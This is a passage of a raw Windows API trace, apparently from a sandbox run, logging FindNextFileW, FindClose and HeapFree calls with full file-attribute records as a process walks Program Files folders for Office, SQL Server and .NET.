ftLastAccessTime.dwLowDateTime=0x453c2a7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x285ea0a0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x43cea0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="mfc140u.dll", cAlternateFileName="")) returned 1 [0257.360] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0257.360] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8e49f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd8e49f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6aef645, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Portal", cAlternateFileName="")) returned 1 [0257.363] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4001ee0 | out: hHeap=0x630000) returned 1 [0257.363] FindNextFileW (in: hFindFile=0x6ebb70, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6aef645, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6aef645, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6aef645, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x250c0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="PortalConnectCore.dll", cAlternateFileName="PORTAL~1.DLL")) returned 1 [0257.364] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0257.365] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc968bf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc968bf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA", cAlternateFileName="")) returned 1 [0257.367] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4001ee0 | out: hHeap=0x630000) returned 1 [0257.367] FindNextFileW (in: hFindFile=0x6ebb30, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc968bf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc968bf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc968bf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="VBA7.1", cAlternateFileName="")) returned 1 [0257.382] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0257.382] FindNextFileW (in: hFindFile=0x6ebb70, lpFindFileData=0x3b2e918 | out: lpFindFileData=0x3b2e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc968bf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0257.382] FindClose (in: hFindFile=0x6ebb70 | out: hFindFile=0x6ebb70) returned 1 [0257.383] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4001ee0 | out: hHeap=0x630000) returned 1 [0257.383] FindNextFileW (in: hFindFile=0x6ebb30, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc968bf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc968bf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc968bf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="VBA7.1", cAlternateFileName="")) returned 0 [0257.383] FindClose (in: hFindFile=0x6ebb30 | out: hFindFile=0x6ebb30) returned 1 [0257.384] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0257.384] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c1a793, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c1a793, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 1 [0257.386] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0257.386] FindNextFileW (in: hFindFile=0x6ebb70, lpFindFileData=0x3b2e918 | out: lpFindFileData=0x3b2e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd7bf89, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd7bf89, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 0 [0257.386] FindClose (in: hFindFile=0x6ebb70 | out: hFindFile=0x6ebb70) returned 1 [0257.386] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4001ee0 | out: hHeap=0x630000) returned 1 [0257.386] FindNextFileW (in: hFindFile=0x6eb6b0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c1a793, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c1a793, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="16", cAlternateFileName="")) returned 0 [0257.386] FindClose (in: hFindFile=0x6eb6b0 | out: hFindFile=0x6eb6b0) returned 1 [0257.387] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0257.387] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c1a793, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c1a793, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 0 [0257.387] FindClose (in: hFindFile=0x6ec0b0 | out: hFindFile=0x6ec0b0) returned 1 [0257.387] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0257.387] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf21ea38b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System", cAlternateFileName="")) returned 1 [0257.389] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0257.389] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf21ea38b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7b78b8d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ole db", cAlternateFileName="OLEDB~1")) returned 0 [0257.389] FindClose (in: hFindFile=0x6ec0b0 | out: hFindFile=0x6ec0b0) returned 1 [0257.389] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0257.389] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf21ea38b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System", cAlternateFileName="")) returned 0 [0257.389] FindClose (in: hFindFile=0x6ebdf0 | out: hFindFile=0x6ebdf0) returned 1 [0257.390] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0257.394] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2e11c27d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e11c27d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ProgramFilesX64", cAlternateFileName="PROGRA~1")) returned 1 [0258.476] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0258.476] FindNextFileW (in: hFindFile=0x6ebaf0, lpFindFileData=0x3b2e918 | out: lpFindFileData=0x3b2e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0df27d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2a7e39eb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ae4bf10, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17beb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dbghelp.dll", cAlternateFileName="")) returned 1 [0258.482] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0258.482] FindNextFileW (in: hFindFile=0x6eb6b0, lpFindFileData=0x3b2e69c | out: lpFindFileData=0x3b2e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee308135, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee45f66d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0 [0258.483] FindClose (in: hFindFile=0x6eb6b0 | out: hFindFile=0x6eb6b0) returned 1 [0258.483] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0258.483] FindNextFileW (in: hFindFile=0x6ebaf0, lpFindFileData=0x3b2e918 | out: lpFindFileData=0x3b2e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa4733b6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa4733b6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa50bd2e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1b050, dwReserved0=0x0, dwReserved1=0x0, cFileName="SQLDumper.exe", cAlternateFileName="SQLDUM~1.EXE")) returned 1 [0258.483] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4001ee0 | out: hHeap=0x630000) returned 1 [0258.484] FindNextFileW (in: hFindFile=0x6ebb30, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ae4bf10, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ae4bf10, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="110", cAlternateFileName="")) returned 0 [0258.484] FindClose (in: hFindFile=0x6ebb30 | out: hFindFile=0x6ebb30) returned 1 [0258.484] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0258.486] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb142e44, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeb142e44, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 0 [0258.486] FindClose (in: hFindFile=0x6ebdf0 | out: hFindFile=0x6ebdf0) returned 1 [0258.486] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0258.486] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e11c27d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e11c27d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e11c27d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft Office", cAlternateFileName="MICROS~3")) returned 1 [0258.488] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0258.489] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft SQL Server", cAlternateFileName="MICROS~2")) returned 1 [0258.492] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4001ee0 | out: hHeap=0x630000) returned 1 [0258.492] FindNextFileW (in: hFindFile=0x6ebaf0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Shared", cAlternateFileName="")) returned 0 [0258.492] FindClose (in: hFindFile=0x6ebaf0 | out: hFindFile=0x6ebaf0) returned 1 [0258.493] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0258.493] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="110", cAlternateFileName="")) returned 0 [0258.493] FindClose (in: hFindFile=0x6ebdf0 | out: hFindFile=0x6ebdf0) returned 1 [0258.496] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0258.496] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 1 [0258.519] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4001ee0 | out: hHeap=0x630000) returned 1 [0258.519] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="110", cAlternateFileName="")) returned 0 [0258.519] FindClose (in: hFindFile=0x6eb8b0 | out: hFindFile=0x6eb8b0) returned 1 [0258.520] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0258.520] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADOMD.NET", cAlternateFileName="")) returned 0 [0258.520] FindClose (in: hFindFile=0x6ebdf0 | out: hFindFile=0x6ebdf0) returned 1 [0258.520] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0258.520] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 0 [0258.520] FindClose (in: hFindFile=0x6ec0b0 | out: hFindFile=0x6ec0b0) returned 1 [0258.520] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0258.520] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ProgramFilesX86", cAlternateFileName="PROGRA~2")) returned 1 [0258.670] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0258.670] FindNextFileW (in: hFindFile=0x6ebc30, lpFindFileData=0x3b2e918 | out: lpFindFileData=0x3b2e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa937f07, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2b015b1d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b0d4700, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x128848, dwReserved0=0x0, dwReserved1=0x0, cFileName="dbghelp.dll", cAlternateFileName="")) returned 1 [0258.674] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0258.674] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2e69c | out: lpFindFileData=0x3b2e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf3143659, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61fd8b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0 [0258.674] FindClose (in: hFindFile=0x6eb7f0 | out: hFindFile=0x6eb7f0) returned 1 [0258.674] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0258.674] FindNextFileW (in: hFindFile=0x6ebc30, lpFindFileData=0x3b2e918 | out: lpFindFileData=0x3b2e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5e91324, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5e91324, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5eb74f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17a50, dwReserved0=0x0, dwReserved1=0x0, cFileName="SQLDumper.exe", cAlternateFileName="SQLDUM~1.EXE")) returned 1 [0258.674] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0258.674] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2b0d4700, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b0d4700, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="110", cAlternateFileName="")) returned 0 [0258.675] FindClose (in: hFindFile=0x6eb8b0 | out: hFindFile=0x6eb8b0) returned 1 [0258.675] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4001ee0 | out: hHeap=0x630000) returned 1 [0258.677] FindNextFileW (in: hFindFile=0x6eb6b0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf17ee5c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 0 [0258.677] FindClose (in: hFindFile=0x6eb6b0 | out: hFindFile=0x6eb6b0) returned 1 [0258.677] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0258.678] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2f517e4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2f517e4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2f517e4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1 [0259.052] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0259.052] FindNextFileW (in: hFindFile=0x6ebab0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x386b77a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x386b77a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x386b77a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="APDEA0~1.DLL")) returned 1 [0259.262] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0259.262] FindNextFileW (in: hFindFile=0x6ebb70, lpFindFileData=0x3b2e918 | out: lpFindFileData=0x3b2e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2c4a611d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2c4a611d, ftLastAccessTime.dwHighDateTime=0x1d327e8, 